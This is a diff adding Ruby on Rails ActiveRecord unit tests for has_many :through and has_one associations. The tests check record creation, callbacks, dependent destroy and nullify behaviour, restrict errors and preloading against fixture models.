+    assert_difference("posts(:thinking).readers.count", 1) do
+      posts(:thinking).people.where(first_name: "Jeb").create
+    end
+  end
+
+  def test_associate_with_create_and_no_options
+    peeps = posts(:thinking).people.count
+    posts(:thinking).people.create(first_name: "foo")
+    assert_equal peeps + 1, posts(:thinking).people.count
+  end
+
+  def test_associate_with_create_with_through_having_conditions
+    impatient_people = posts(:thinking).impatient_people.count
+    posts(:thinking).impatient_people.create!(first_name: "foo")
+    assert_equal impatient_people + 1, posts(:thinking).impatient_people.count
+  end
+
+  def test_associate_with_create_exclamation_and_no_options
+    peeps = posts(:thinking).people.count
+    posts(:thinking).people.create!(first_name: "foo")
+    assert_equal peeps + 1, posts(:thinking).people.count
+  end
+
+  def test_create_on_new_record
+    p = Post.new
+
+    error = assert_raises(ActiveRecord::RecordNotSaved) { p.people.create(first_name: "mew") }
+    assert_equal "You cannot call create unless the parent is saved", error.message
+
+    error = assert_raises(ActiveRecord::RecordNotSaved) { p.people.create!(first_name: "snow") }
+    assert_equal "You cannot call create unless the parent is saved", error.message
+  end
+
+  def test_associate_with_create_and_invalid_options
+    firm = companies(:first_firm)
+    assert_no_difference("firm.developers.count") { assert_nothing_raised { firm.developers.create(name: "0") } }
+  end
+
+  def test_associate_with_create_and_valid_options
+    firm = companies(:first_firm)
+    assert_difference("firm.developers.count", 1) { firm.developers.create(name: "developer") }
+  end
+
+  def test_associate_with_create_bang_and_invalid_options
+    firm = companies(:first_firm)
+    assert_no_difference("firm.developers.count") { assert_raises(ActiveRecord::RecordInvalid) { firm.developers.create!(name: "0") } }
+  end
+
+  def test_associate_with_create_bang_and_valid_options
+    firm = companies(:first_firm)
+    assert_difference("firm.developers.count", 1) { firm.developers.create!(name: "developer") }
+  end
+
+  def test_push_with_invalid_record
+    firm = companies(:first_firm)
+    assert_raises(ActiveRecord::RecordInvalid) { firm.developers << Developer.new(name: "0") }
+  end
+
+  def test_push_with_invalid_join_record
+    repair_validations(Contract) do
+      Contract.validate { |r| r.errors[:base] << "Invalid Contract" }
+
+      firm = companies(:first_firm)
+      lifo = Developer.new(name: "lifo")
+      assert_raises(ActiveRecord::RecordInvalid) { firm.developers << lifo }
+
+      lifo = Developer.create!(name: "lifo")
+      assert_raises(ActiveRecord::RecordInvalid) { firm.developers << lifo }
+    end
+  end
+
+  def test_clear_associations
+    assert_queries(2) { posts(:welcome);posts(:welcome).people.reload }
+
+    assert_queries(1) do
+      posts(:welcome).people.clear
+    end
+
+    assert_queries(0) do
+      assert posts(:welcome).people.empty?
+    end
+
+    assert posts(:welcome).reload.people.reload.empty?
+  end
+
+  def test_association_callback_ordering
+    Post.reset_log
+    log = Post.log
+    post = posts(:thinking)
+
+    post.people_with_callbacks << people(:michael)
+    assert_equal [
+      [:added, :before, "Michael"],
+      [:added, :after, "Michael"]
+    ], log.last(2)
+
+    post.people_with_callbacks.push(people(:david), Person.create!(first_name: "Bob"), Person.new(first_name: "Lary"))
+    assert_equal [
+      [:added, :before, "David"],
+      [:added, :after, "David"],
+      [:added, :before, "Bob"],
+      [:added, :after, "Bob"],
+      [:added, :before, "Lary"],
+      [:added, :after, "Lary"]
+    ], log.last(6)
+
+    post.people_with_callbacks.build(first_name: "Ted")
+    assert_equal [
+      [:added, :before, "Ted"],
+      [:added, :after, "Ted"]
+    ], log.last(2)
+
+    post.people_with_callbacks.create(first_name: "Sam")
+    assert_equal [
+      [:added, :before, "Sam"],
+      [:added, :after, "Sam"]
+    ], log.last(2)
+
+    post.people_with_callbacks = [people(:michael), people(:david), Person.new(first_name: "Julian"), Person.create!(first_name: "Roger")]
+    assert_equal((%w(Ted Bob Sam Lary) * 2).sort, log[-12..-5].collect(&:last).sort)
+    assert_equal [
+      [:added, :before, "Julian"],
+      [:added, :after, "Julian"],
+      [:added, :before, "Roger"],
+      [:added, :after, "Roger"]
+    ], log.last(4)
+  end
+
+  def test_dynamic_find_should_respect_association_include
+    # SQL error in sort clause if :include is not included
+    # due to Unknown column 'comments.id'
+    assert Person.find(1).posts_with_comments_sorted_by_comment_id.find_by_title("Welcome to the weblog")
+  end
+
+  def test_count_with_include_should_alias_join_table
+    assert_equal 2, people(:michael).posts.includes(:readers).count
+  end
+
+  def test_inner_join_with_quoted_table_name
+    assert_equal 2, people(:michael).jobs.size
+  end
+
+  def test_get_ids
+    assert_equal [posts(:welcome).id, posts(:authorless).id].sort, people(:michael).post_ids.sort
+  end
+
+  def test_get_ids_for_has_many_through_with_conditions_should_not_preload
+    Tagging.create!(taggable_type: "Post", taggable_id: posts(:welcome).id, tag: tags(:misc))
+    assert_not_called(ActiveRecord::Associations::Preloader, :new) do
+      posts(:welcome).misc_tag_ids
+    end
+  end
+
+  def test_get_ids_for_loaded_associations
+    person = people(:michael)
+    person.posts.reload
+    assert_queries(0) do
+      person.post_ids
+      person.post_ids
+    end
+  end
+
+  def test_get_ids_for_unloaded_associations_does_not_load_them
+    person = people(:michael)
+    assert !person.posts.loaded?
+    assert_equal [posts(:welcome).id, posts(:authorless).id].sort, person.post_ids.sort
+    assert !person.posts.loaded?
+  end
+
+  def test_association_proxy_transaction_method_starts_transaction_in_association_class
+    assert_called(Tag, :transaction) do
+      Post.first.tags.transaction do
+        # nothing
+      end
+    end
+  end
+
+  def test_has_many_association_through_a_belongs_to_association_where_the_association_doesnt_exist
+    post = Post.create!(title: "TITLE", body: "BODY")
+    assert_equal [], post.author_favorites
+  end
+
+  def test_has_many_association_through_a_belongs_to_association
+    author = authors(:mary)
+    post = Post.create!(author: author, title: "TITLE", body: "BODY")
+    author.author_favorites.create(favorite_author_id: 1)
+    author.author_favorites.create(favorite_author_id: 2)
+    author.author_favorites.create(favorite_author_id: 3)
+    assert_equal post.author.author_favorites, post.author_favorites
+  end
+
+  def test_merge_join_association_with_has_many_through_association_proxy
+    author = authors(:mary)
+    assert_nothing_raised { author.comments.ratings.to_sql }
+  end
+
+  def test_has_many_association_through_a_has_many_association_with_nonstandard_primary_keys
+    assert_equal 2, owners(:blackbeard).toys.count
+  end
+
+  def test_find_on_has_many_association_collection_with_include_and_conditions
+    post_with_no_comments = people(:michael).posts_with_no_comments.first
+    assert_equal post_with_no_comments, posts(:authorless)
+  end
+
+  def test_has_many_through_has_one_reflection
+    assert_equal [comments(:eager_sti_on_associations_vs_comment)], authors(:david).very_special_comments
+  end
+
+  def test_modifying_has_many_through_has_one_reflection_should_raise
+    [
+      lambda { authors(:david).very_special_comments = [VerySpecialComment.create!(body: "Gorp!", post_id: 1011), VerySpecialComment.create!(body: "Eep!", post_id: 1012)] },
+      lambda { authors(:david).very_special_comments << VerySpecialComment.create!(body: "Hoohah!", post_id: 1013) },
+      lambda { authors(:david).very_special_comments.delete(authors(:david).very_special_comments.first) },
+    ].each { |block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection, &block) }
+  end
+
+  def test_has_many_association_through_a_has_many_association_to_self
+    sarah = Person.create!(first_name: "Sarah", primary_contact_id: people(:susan).id, gender: "F", number1_fan_id: 1)
+    john = Person.create!(first_name: "John", primary_contact_id: sarah.id, gender: "M", number1_fan_id: 1)
+    assert_equal sarah.agents, [john]
+    assert_equal people(:susan).agents.flat_map(&:agents), people(:susan).agents_of_agents
+  end
+
+  def test_associate_existing_with_nonstandard_primary_key_on_belongs_to
+    Categorization.create(author: authors(:mary), named_category_name: categories(:general).name)
+    assert_equal categories(:general), authors(:mary).named_categories.first
+  end
+
+  def test_collection_build_with_nonstandard_primary_key_on_belongs_to
+    author   = authors(:mary)
+    category = author.named_categories.build(name: "Primary")
+    author.save
+    assert Categorization.exists?(author_id: author.id, named_category_name: category.name)
+    assert_includes author.named_categories.reload, category
+  end
+
+  def test_collection_create_with_nonstandard_primary_key_on_belongs_to
+    author   = authors(:mary)
+    category = author.named_categories.create(name: "Primary")
+    assert Categorization.exists?(author_id: author.id, named_category_name: category.name)
+    assert_includes author.named_categories.reload, category
+  end
+
+  def test_collection_exists
+    author   = authors(:mary)
+    category = Category.create!(author_ids: [author.id], name: "Primary")
+    assert category.authors.exists?(id: author.id)
+    assert category.reload.authors.exists?(id: author.id)
+  end
+
+  def test_collection_delete_with_nonstandard_primary_key_on_belongs_to
+    author   = authors(:mary)
+    category = author.named_categories.create(name: "Primary")
+    author.named_categories.delete(category)
+    assert !Categorization.exists?(author_id: author.id, named_category_name: category.name)
+    assert author.named_categories.reload.empty?
+  end
+
+  def test_collection_singular_ids_getter_with_string_primary_keys
+    book = books(:awdr)
+    assert_equal 2, book.subscriber_ids.size
+    assert_equal [subscribers(:first).nick, subscribers(:second).nick].sort, book.subscriber_ids.sort
+  end
+
+  def test_collection_singular_ids_setter
+    company = companies(:rails_core)
+    dev = Developer.first
+
+    company.developer_ids = [dev.id]
+    assert_equal [dev], company.developers
+  end
+
+  def test_collection_singular_ids_setter_with_string_primary_keys
+    assert_nothing_raised do
+      book = books(:awdr)
+      book.subscriber_ids = [subscribers(:second).nick]
+      assert_equal [subscribers(:second)], book.subscribers.reload
+
+      book.subscriber_ids = []
+      assert_equal [], book.subscribers.reload
+    end
+  end
+
+  def test_collection_singular_ids_setter_with_changed_primary_key
+    company = companies(:first_firm)
+    client = companies(:first_client)
+    company.clients_using_primary_key_ids = [client.name]
+    assert_equal [client], company.clients_using_primary_key
+  end
+
+  def test_collection_singular_ids_setter_raises_exception_when_invalid_ids_set
+    company = companies(:rails_core)
+    ids = [Developer.first.id, -9999]
+    e = assert_raises(ActiveRecord::RecordNotFound) { company.developer_ids = ids }
+    assert_match(/Couldn't find all Developers with 'id'/, e.message)
+  end
+
+  def test_collection_singular_ids_setter_raises_exception_when_invalid_ids_set_with_changed_primary_key
+    company = companies(:first_firm)
+    ids = [Client.first.name, "unknown client"]
+    e = assert_raises(ActiveRecord::RecordNotFound) { company.clients_using_primary_key_ids = ids }
+    assert_match(/Couldn't find all Clients with 'name'/, e.message)
+  end
+
+  def test_collection_singular_ids_through_setter_raises_exception_when_invalid_ids_set
+    author = authors(:david)
+    ids = [categories(:general).name, "Unknown"]
+    e = assert_raises(ActiveRecord::RecordNotFound) { author.essay_category_ids = ids }
+    assert_equal "Couldn't find all Categories with 'name': (General, Unknown) (found 1 results, but was looking for 2)", e.message
+  end
+
+  def test_build_a_model_from_hm_through_association_with_where_clause
+    assert_nothing_raised { books(:awdr).subscribers.where(nick: "marklazz").build }
+  end
+
+  def test_attributes_are_being_set_when_initialized_from_hm_through_association_with_where_clause
+    new_subscriber = books(:awdr).subscribers.where(nick: "marklazz").build
+    assert_equal new_subscriber.nick, "marklazz"
+  end
+
+  def test_attributes_are_being_set_when_initialized_from_hm_through_association_with_multiple_where_clauses
+    new_subscriber = books(:awdr).subscribers.where(nick: "marklazz").where(name: "Marcelo Giorgi").build
+    assert_equal new_subscriber.nick, "marklazz"
+    assert_equal new_subscriber.name, "Marcelo Giorgi"
+  end
+
+  def test_include_method_in_association_through_should_return_true_for_instance_added_with_build
+    person = Person.new
+    reference = person.references.build
+    job = reference.build_job
+    assert_includes person.jobs, job
+  end
+
+  def test_include_method_in_association_through_should_return_true_for_instance_added_with_nested_builds
+    author = Author.new
+    post = author.posts.build
+    comment = post.comments.build
+    assert_includes author.comments, comment
+  end
+
+  def test_through_association_readonly_should_be_false
+    assert !people(:michael).posts.first.readonly?
+    assert !people(:michael).posts.to_a.first.readonly?
+  end
+
+  def test_can_update_through_association
+    assert_nothing_raised do
+      people(:michael).posts.first.update!(title: "Can write")
+    end
+  end
+
+  def test_has_many_through_polymorphic_with_rewhere
+    post = TaggedPost.create!(title: "Tagged", body: "Post")
+    tag = post.tags.create!(name: "Tag")
+    assert_equal [tag], TaggedPost.preload(:tags).last.tags
+    assert_equal [tag], TaggedPost.eager_load(:tags).last.tags
+  end
+
+  def test_has_many_through_polymorphic_with_primary_key_option
+    assert_equal [categories(:general)], authors(:david).essay_categories
+
+    authors = Author.joins(:essay_categories).where("categories.id" => categories(:general).id)
+    assert_equal authors(:david), authors.first
+
+    assert_equal [owners(:blackbeard)], authors(:david).essay_owners
+
+    authors = Author.joins(:essay_owners).where("owners.name = 'blackbeard'")
+    assert_equal authors(:david), authors.first
+  end
+
+  def test_has_many_through_with_primary_key_option
+    assert_equal [categories(:general)], authors(:david).essay_categories_2
+
+    authors = Author.joins(:essay_categories_2).where("categories.id" => categories(:general).id)
+    assert_equal authors(:david), authors.first
+  end
+
+  def test_size_of_through_association_should_increase_correctly_when_has_many_association_is_added
+    post = posts(:thinking)
+    readers = post.readers.size
+    post.people << people(:michael)
+    assert_equal readers + 1, post.readers.size
+  end
+
+  def test_has_many_through_with_default_scope_on_join_model
+    assert_equal posts(:welcome).comments.order("id").to_a, authors(:david).comments_on_first_posts
+  end
+
+  def test_create_has_many_through_with_default_scope_on_join_model
+    category = authors(:david).special_categories.create(name: "Foo")
+    assert_equal 1, category.categorizations.where(special: true).count
+  end
+
+  def test_joining_has_many_through_with_distinct
+    mary = Author.joins(:unique_categorized_posts).where(id: authors(:mary).id).first
+    assert_equal 1, mary.unique_categorized_posts.length
+    assert_equal 1, mary.unique_categorized_post_ids.length
+  end
+
+  def test_joining_has_many_through_belongs_to
+    posts = Post.joins(:author_categorizations).order("posts.id").
+                 where("categorizations.id" => categorizations(:mary_thinking_sti).id)
+
+    assert_equal [posts(:eager_other), posts(:misc_by_mary), posts(:other_by_mary)], posts
+  end
+
+  def test_select_chosen_fields_only
+    author = authors(:david)
+    assert_equal ["body", "id"].sort, author.comments.select("comments.body").first.attributes.keys.sort
+  end
+
+  def test_get_has_many_through_belongs_to_ids_with_conditions
+    assert_equal [categories(:general).id], authors(:mary).categories_like_general_ids
+  end
+
+  def test_get_collection_singular_ids_on_has_many_through_with_conditions_and_include
+    person = Person.first
+    assert_equal person.posts_with_no_comment_ids, person.posts_with_no_comments.map(&:id)
+  end
+
+  def test_count_has_many_through_with_named_scope
+    assert_equal 2, authors(:mary).categories.count
+    assert_equal 1, authors(:mary).categories.general.count
+  end
+
+  def test_has_many_through_belongs_to_should_update_when_the_through_foreign_key_changes
+    post = posts(:eager_other)
+
+    post.author_categorizations
+    proxy = post.send(:association_instance_get, :author_categorizations)
+
+    assert !proxy.stale_target?
+    assert_equal authors(:mary).categorizations.sort_by(&:id), post.author_categorizations.sort_by(&:id)
+
+    post.author_id = authors(:david).id
+
+    assert proxy.stale_target?
+    assert_equal authors(:david).categorizations.sort_by(&:id), post.author_categorizations.sort_by(&:id)
+  end
+
+  def test_create_with_conditions_hash_on_through_association
+    member = members(:groucho)
+    club   = member.clubs.create!
+
+    assert_equal true, club.reload.membership.favourite
+  end
+
+  def test_deleting_from_has_many_through_a_belongs_to_should_not_try_to_update_counter
+    post    = posts(:welcome)
+    address = author_addresses(:david_address)
+
+    assert_includes post.author_addresses, address
+    post.author_addresses.delete(address)
+    assert post[:author_count].nil?
+  end
+
+  def test_primary_key_option_on_source
+    post     = posts(:welcome)
+    category = categories(:general)
+    Categorization.create!(post_id: post.id, named_category_name: category.name)
+
+    assert_equal [category], post.named_categories
+    assert_equal [category.name], post.named_category_ids # checks when target loaded
+    assert_equal [category.name], post.reload.named_category_ids # checks when target no loaded
+  end
+
+  def test_create_should_not_raise_exception_when_join_record_has_errors
+    repair_validations(Categorization) do
+      Categorization.validate { |r| r.errors[:base] << "Invalid Categorization" }
+      Category.create(name: "Fishing", authors: [Author.first])
+    end
+  end
+
+  def test_assign_array_to_new_record_builds_join_records
+    c = Category.new(name: "Fishing", authors: [Author.first])
+    assert_equal 1, c.categorizations.size
+  end
+
+  def test_create_bang_should_raise_exception_when_join_record_has_errors
+    repair_validations(Categorization) do
+      Categorization.validate { |r| r.errors[:base] << "Invalid Categorization" }
+      assert_raises(ActiveRecord::RecordInvalid) do
+        Category.create!(name: "Fishing", authors: [Author.first])
+      end
+    end
+  end
+
+  def test_save_bang_should_raise_exception_when_join_record_has_errors
+    repair_validations(Categorization) do
+      Categorization.validate { |r| r.errors[:base] << "Invalid Categorization" }
+      c = Category.new(name: "Fishing", authors: [Author.first])
+      assert_raises(ActiveRecord::RecordInvalid) do
+        c.save!
+      end
+    end
+  end
+
+  def test_save_returns_falsy_when_join_record_has_errors
+    repair_validations(Categorization) do
+      Categorization.validate { |r| r.errors[:base] << "Invalid Categorization" }
+      c = Category.new(name: "Fishing", authors: [Author.first])
+      assert_not c.save
+    end
+  end
+
+  def test_preloading_empty_through_association_via_joins
+    person = Person.create!(first_name: "Gaga")
+    person = Person.where(id: person.id).where("readers.id = 1 or 1=1").references(:readers).includes(:posts).to_a.first
+
+    assert person.posts.loaded?, "person.posts should be loaded"
+    assert_equal [], person.posts
+  end
+
+  def test_preloading_empty_through_with_polymorphic_source_association
+    owner = Owner.create!(name: "Rainbow Unicat")
+    pet = Pet.create!(owner: owner)
+    person = Person.create!(first_name: "Gaga")
+    treasure = Treasure.create!(looter: person)
+    non_looted_treasure = Treasure.create!()
+    PetTreasure.create!(pet: pet, treasure: treasure, rainbow_color: "Ultra violet indigo")
+    PetTreasure.create!(pet: pet, treasure: non_looted_treasure, rainbow_color: "Ultra violet indigo")
+
+    assert_equal [person], Owner.where(name: "Rainbow Unicat").includes(pets: :persons).first.persons.to_a
+  end
+
+  def test_explicitly_joining_join_table
+    assert_equal owners(:blackbeard).toys, owners(:blackbeard).toys.with_pet
+  end
+
+  def test_has_many_through_with_polymorphic_source
+    post = tags(:general).tagged_posts.create! title: "foo", body: "bar"
+    assert_equal [tags(:general)], post.reload.tags
+  end
+
+  def test_has_many_through_obeys_order_on_through_association
+    owner = owners(:blackbeard)
+    assert_includes owner.toys.to_sql, "pets.name desc"
+    assert_equal ["parrot", "bulbul"], owner.toys.map { |r| r.pet.name }
+  end
+
+  def test_has_many_through_associations_on_new_records_use_null_relations
+    person = Person.new
+
+    assert_no_queries(ignore_none: false) do
+      assert_equal [], person.posts
+      assert_equal [], person.posts.where(body: "omg")
+      assert_equal [], person.posts.pluck(:body)
+      assert_equal 0,  person.posts.sum(:tags_count)
+      assert_equal 0,  person.posts.count
+    end
+  end
+
+  def test_has_many_through_with_default_scope_on_the_target
+    person = people(:michael)
+    assert_equal [posts(:thinking).id], person.first_posts.map(&:id)
+
+    readers(:michael_authorless).update(first_post_id: 1)
+    assert_equal [posts(:thinking).id], person.reload.first_posts.map(&:id)
+  end
+
+  def test_has_many_through_with_includes_in_through_association_scope
+    assert_not_empty posts(:welcome).author_address_extra_with_address
+  end
+
+  def test_insert_records_via_has_many_through_association_with_scope
+    club = Club.create!
+    member = Member.create!
+    Membership.create!(club: club, member: member)
+
+    club.favourites << member
+    assert_equal [member], club.favourites
+
+    club.reload
+    assert_equal [member], club.favourites
+  end
+
+  def test_has_many_through_unscope_default_scope
+    post = Post.create!(title: "Beaches", body: "I like beaches!")
+    Reader.create! person: people(:david), post: post
+    LazyReader.create! person: people(:susan), post: post
+
+    assert_equal 2, post.people.to_a.size
+    assert_equal 1, post.lazy_people.to_a.size
+
+    assert_equal 2, post.lazy_readers_unscope_skimmers.to_a.size
+    assert_equal 2, post.lazy_people_unscope_skimmers.to_a.size
+  end
+
+  def test_has_many_through_add_with_sti_middle_relation
+    club = SuperClub.create!(name: "Fight Club")
+    member = Member.create!(name: "Tyler Durden")
+
+    club.members << member
+    assert_equal 1, SuperMembership.where(member_id: member.id, club_id: club.id).count
+  end
+
+  def test_build_for_has_many_through_association
+    organization = organizations(:nsa)
+    author = organization.author
+    post_direct = author.posts.build
+    post_through = organization.posts.build
+    assert_equal post_direct.author_id, post_through.author_id
+  end
+
+  def test_has_many_through_with_scope_that_should_not_be_fully_merged
+    Club.has_many :distinct_memberships, -> { distinct }, class_name: "Membership"
+    Club.has_many :special_favourites, through: :distinct_memberships, source: :member
+
+    assert_nil Club.new.special_favourites.distinct_value
+  end
+
+  def test_has_many_through_do_not_cache_association_reader_if_the_though_method_has_default_scopes
+    member = Member.create!
+    club = Club.create!
+    TenantMembership.create!(
+      member: member,
+      club: club
+    )
+
+    TenantMembership.current_member = member
+
+    tenant_clubs = member.tenant_clubs
+    assert_equal [club], tenant_clubs
+
+    TenantMembership.current_member = nil
+
+    other_member = Member.create!
+    other_club = Club.create!
+    TenantMembership.create!(
+      member: other_member,
+      club: other_club
+    )
+
+    tenant_clubs = other_member.tenant_clubs
+    assert_equal [other_club], tenant_clubs
+  ensure
+    TenantMembership.current_member = nil
+  end
+
+  def test_has_many_through_with_scope_should_respect_table_alias
+    family = Family.create!
+    users = 3.times.map { User.create! }
+    FamilyTree.create!(member: users[0], family: family)
+    FamilyTree.create!(member: users[1], family: family)
+    FamilyTree.create!(member: users[2], family: family, token: "wat")
+
+    assert_equal 2, users[0].family_members.to_a.size
+    assert_equal 0, users[2].family_members.to_a.size
+  end
+
+  def test_incorrectly_ordered_through_associations
+    assert_raises(ActiveRecord::HasManyThroughOrderError) do
+      DeveloperWithIncorrectlyOrderedHasManyThrough.create(
+        companies: [Company.create]
+      )
+    end
+  end
+
+  private
+    def make_model(name)
+      Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+    end
+
+    def make_no_pk_hm_t
+      lesson = make_model "Lesson"
+      student = make_model "Student"
+
+      lesson_student = make_model "LessonStudent"
+      lesson_student.table_name = "lessons_students"
+
+      lesson_student.belongs_to :lesson, anonymous_class: lesson
+      lesson_student.belongs_to :student, anonymous_class: student
+      lesson.has_many :lesson_students, anonymous_class: lesson_student
+      lesson.has_many :students, through: :lesson_students, anonymous_class: student
+      [lesson, lesson_student, student]
+    end
+end
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
new file mode 100644
index 0000000000..2eb6cef1d9
--- /dev/null
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -0,0 +1,727 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/computer"
+require "models/project"
+require "models/company"
+require "models/ship"
+require "models/pirate"
+require "models/car"
+require "models/bulb"
+require "models/author"
+require "models/image"
+require "models/post"
+
+class HasOneAssociationsTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+  fixtures :accounts, :companies, :developers, :projects, :developers_projects, :ships, :pirates
+
+  def setup
+    Account.destroyed_account_ids.clear
+  end
+
+  def test_has_one
+    assert_equal companies(:first_firm).account, Account.find(1)
+    assert_equal Account.find(1).credit_limit, companies(:first_firm).account.credit_limit
+  end
+
+  def test_has_one_does_not_use_order_by
+    ActiveRecord::SQLCounter.clear_log
+    companies(:first_firm).account
+  ensure
+    assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, "ORDER BY was used in the query"
+  end
+
+  def test_has_one_cache_nils
+    firm = companies(:another_firm)
+    assert_queries(1) { assert_nil firm.account }
+    assert_queries(0) { assert_nil firm.account }
+
+    firms = Firm.all.merge!(includes: :account).to_a
+    assert_queries(0) { firms.each(&:account) }
+  end
+
+  def test_with_select
+    assert_equal Firm.find(1).account_with_select.attributes.size, 2
+    assert_equal Firm.all.merge!(includes: :account_with_select).find(1).account_with_select.attributes.size, 2
+  end
+
+  def test_finding_using_primary_key
+    firm = companies(:first_firm)
+    assert_equal Account.find_by_firm_id(firm.id), firm.account
+    firm.firm_id = companies(:rails_core).id
+    assert_equal accounts(:rails_core_account), firm.account_using_primary_key
+  end
+
+  def test_update_with_foreign_and_primary_keys
+    firm = companies(:first_firm)
+    account = firm.account_using_foreign_and_primary_keys
+    assert_equal Account.find_by_firm_name(firm.name), account
+    firm.save
+    firm.reload
+    assert_equal account, firm.account_using_foreign_and_primary_keys
+  end
+
+  def test_can_marshal_has_one_association_with_nil_target
+    firm = Firm.new
+    assert_nothing_raised do
+      assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes
+    end
+
+    firm.account
+    assert_nothing_raised do
+      assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes
+    end
+  end
+
+  def test_proxy_assignment
+    company = companies(:first_firm)
+    assert_nothing_raised { company.account = company.account }
+  end
+
+  def test_type_mismatch
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = 1 }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = Project.find(1) }
+  end
+
+  def test_natural_assignment
+    apple = Firm.create("name" => "Apple")
+    citibank = Account.create("credit_limit" => 10)
+    apple.account = citibank
+    assert_equal apple.id, citibank.firm_id
+  end
+
+  def test_natural_assignment_to_nil
+    old_account_id = companies(:first_firm).account.id
+    companies(:first_firm).account = nil
+    companies(:first_firm).save
+    assert_nil companies(:first_firm).account
+    # account is dependent, therefore is destroyed when reference to owner is lost
+    assert_raise(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
+  end
+
+  def test_nullification_on_association_change
+    firm = companies(:rails_core)
+    old_account_id = firm.account.id
+    firm.account = Account.new(credit_limit: 5)
+    # account is dependent with nullify, therefore its firm_id should be nil
+    assert_nil Account.find(old_account_id).firm_id
+  end
+
+  def test_nullification_on_destroyed_association
+    developer = Developer.create!(name: "Someone")
+    ship = Ship.create!(name: "Planet Caravan", developer: developer)
+    ship.destroy
+    assert !ship.persisted?
+    assert !developer.persisted?
+  end
+
+  def test_natural_assignment_to_nil_after_destroy
+    firm = companies(:rails_core)
+    old_account_id = firm.account.id
+    firm.account.destroy
+    firm.account = nil
+    assert_nil companies(:rails_core).account
+    assert_raise(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
+  end
+
+  def test_association_change_calls_delete
+    companies(:first_firm).deletable_account = Account.new(credit_limit: 5)
+    assert_equal [], Account.destroyed_account_ids[companies(:first_firm).id]
+  end
+
+  def test_association_change_calls_destroy
+    companies(:first_firm).account = Account.new(credit_limit: 5)
+    assert_equal [companies(:first_firm).id], Account.destroyed_account_ids[companies(:first_firm).id]
+  end
+
+  def test_natural_assignment_to_already_associated_record
+    company = companies(:first_firm)
+    account = accounts(:signals37)
+    assert_equal company.account, account
+    company.account = account
+    company.reload
+    account.reload
+    assert_equal company.account, account
+  end
+
+  def test_dependence
+    num_accounts = Account.count
+
+    firm = Firm.find(1)
+    assert_not_nil firm.account
+    account_id = firm.account.id
+    assert_equal [], Account.destroyed_account_ids[firm.id]
+
+    firm.destroy
+    assert_equal num_accounts - 1, Account.count
+    assert_equal [account_id], Account.destroyed_account_ids[firm.id]
+  end
+
+  def test_exclusive_dependence
+    num_accounts = Account.count
+
+    firm = ExclusivelyDependentFirm.find(9)
+    assert_not_nil firm.account
+    assert_equal [], Account.destroyed_account_ids[firm.id]
+
+    firm.destroy
+    assert_equal num_accounts - 1, Account.count
+    assert_equal [], Account.destroyed_account_ids[firm.id]
+  end
+
+  def test_dependence_with_nil_associate
+    firm = DependentFirm.new(name: "nullify")
+    firm.save!
+    assert_nothing_raised { firm.destroy }
+  end
+
+  def test_restrict_with_exception
+    firm = RestrictedWithExceptionFirm.create!(name: "restrict")
+    firm.create_account(credit_limit: 10)
+
+    assert_not_nil firm.account
+
+    assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+    assert RestrictedWithExceptionFirm.exists?(name: "restrict")
+    assert firm.account.present?
+  end
+
+  def test_restrict_with_error
+    firm = RestrictedWithErrorFirm.create!(name: "restrict")
+    firm.create_account(credit_limit: 10)
+
+    assert_not_nil firm.account
+
+    firm.destroy
+
+    assert !firm.errors.empty?
+    assert_equal "Cannot delete record because a dependent account exists", firm.errors[:base].first
+    assert RestrictedWithErrorFirm.exists?(name: "restrict")
+    assert firm.account.present?
+  end
+
+  def test_restrict_with_error_with_locale
+    I18n.backend = I18n::Backend::Simple.new
+    I18n.backend.store_translations "en", activerecord: { attributes: { restricted_with_error_firm: { account: "firm account" } } }
+    firm = RestrictedWithErrorFirm.create!(name: "restrict")
+    firm.create_account(credit_limit: 10)
+
+    assert_not_nil firm.account
+
+    firm.destroy
+
+    assert !firm.errors.empty?
+    assert_equal "Cannot delete record because a dependent firm account exists", firm.errors[:base].first
+    assert RestrictedWithErrorFirm.exists?(name: "restrict")
+    assert firm.account.present?
+  ensure
+    I18n.backend.reload!
+  end
+
+  def test_successful_build_association
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.save
+
+    account = firm.build_account("credit_limit" => 1000)
+    assert account.save
+    assert_equal account, firm.account
+  end
+
+  def test_build_association_dont_create_transaction
+    assert_no_queries(ignore_none: false) {
+      Firm.new.build_account
+    }
+  end
+
+  def test_building_the_associated_object_with_implicit_sti_base_class
+    firm = DependentFirm.new
+    company = firm.build_company
+    assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+  end
+
+  def test_building_the_associated_object_with_explicit_sti_base_class
+    firm = DependentFirm.new
+    company = firm.build_company(type: "Company")
+    assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+  end
+
+  def test_building_the_associated_object_with_sti_subclass
+    firm = DependentFirm.new
+    company = firm.build_company(type: "Client")
+    assert_kind_of Client, company, "Expected #{company.class} to be a Client"
+  end
+
+  def test_building_the_associated_object_with_an_invalid_type
+    firm = DependentFirm.new
+    assert_raise(ActiveRecord::SubclassNotFound) { firm.build_company(type: "Invalid") }
+  end
+
+  def test_building_the_associated_object_with_an_unrelated_type
+    firm = DependentFirm.new
+    assert_raise(ActiveRecord::SubclassNotFound) { firm.build_company(type: "Account") }
+  end
+
+  def test_build_and_create_should_not_happen_within_scope
+    pirate = pirates(:blackbeard)
+    scope = pirate.association(:foo_bulb).scope.where_values_hash
+
+    bulb = pirate.build_foo_bulb
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
+
+    bulb = pirate.create_foo_bulb
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
+
+    bulb = pirate.create_foo_bulb!
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
+  end
+
